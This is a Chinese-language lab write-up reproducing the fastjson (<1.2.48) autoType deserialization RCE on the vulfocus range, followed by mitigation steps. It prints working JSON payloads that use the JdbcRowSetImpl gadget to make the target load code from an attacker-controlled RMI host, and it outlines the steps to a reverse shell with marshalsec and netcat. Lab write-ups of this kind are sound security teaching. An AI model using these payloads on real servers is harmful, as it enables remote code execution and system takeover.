漏洞存在原因
在fastjson<1.2.24版本中,在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。而在1.24<fastjson<1.2.48版本中后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令
漏洞复现过程如下
在vulfocus平台中启动fastjson1.48版本漏洞镜像。
访问fastjson对应8090的端口20450。
使用burpsuite拦截/请求。
修改请求方式为POST,以及修改Content-Type: application/json,并在下方添加json格式数据,进行测试。
在此处填写json数据时发现,只需要datasource数据即可实现getshell,经过查看其它复现文章发现,部分文章在复现过程是同时填写
1、
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"age":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.5.129:1099/exp_jndi",
"autoCommit":true
}
}
2、但我经过测试发现,在vulfocus靶场的环境中只需要填写
"age":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.5.129:1099/exp_jndi",
"autoCommit":true
}
payload之所以不同,是因为fastjson版本不同的造成的。
写exp文件,反弹shell。
使用python开启http服务。
使用marshalsec开启rmi服务。
使用netcat开启监听,获取到shell。
漏洞如何修复
临时防护措施:
若相关用户暂时无法进行升级操作,也可使用下列方式进行缓解:
通过开启safeMode配置完全禁用autoType。三种配置SafeMode的方式如下:
1.在代码中配置:
ParserConfig.getGlobalInstance().setSafeMode(true);
2.加上JVM启动参数:
-Dfastjson.parser.safeMode=true
如果有多个包名前缀,可用逗号隔开。
3.通过fastjson.properties文件配置:
通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.safeMode=true
正式修复方式:
升级到最新版本
升级步骤如下:
1.备份原fastjson依赖库,避免升级失败的情况发生。
2.将低版本的fastjson库替换为1.2.83版本即可
参考链接
Fastjson系列漏洞实战和总结:https://blog.csdn.net/qq_50854662/article/details/127234755
框架/组件漏洞系列2:fastjson漏洞汇总:https://blog.csdn.net/qq_45590334/article/details/121723316
fastjson 1.2.47 RCE漏洞保姆级复现:https://blog.csdn.net/text2206/article/details/128841278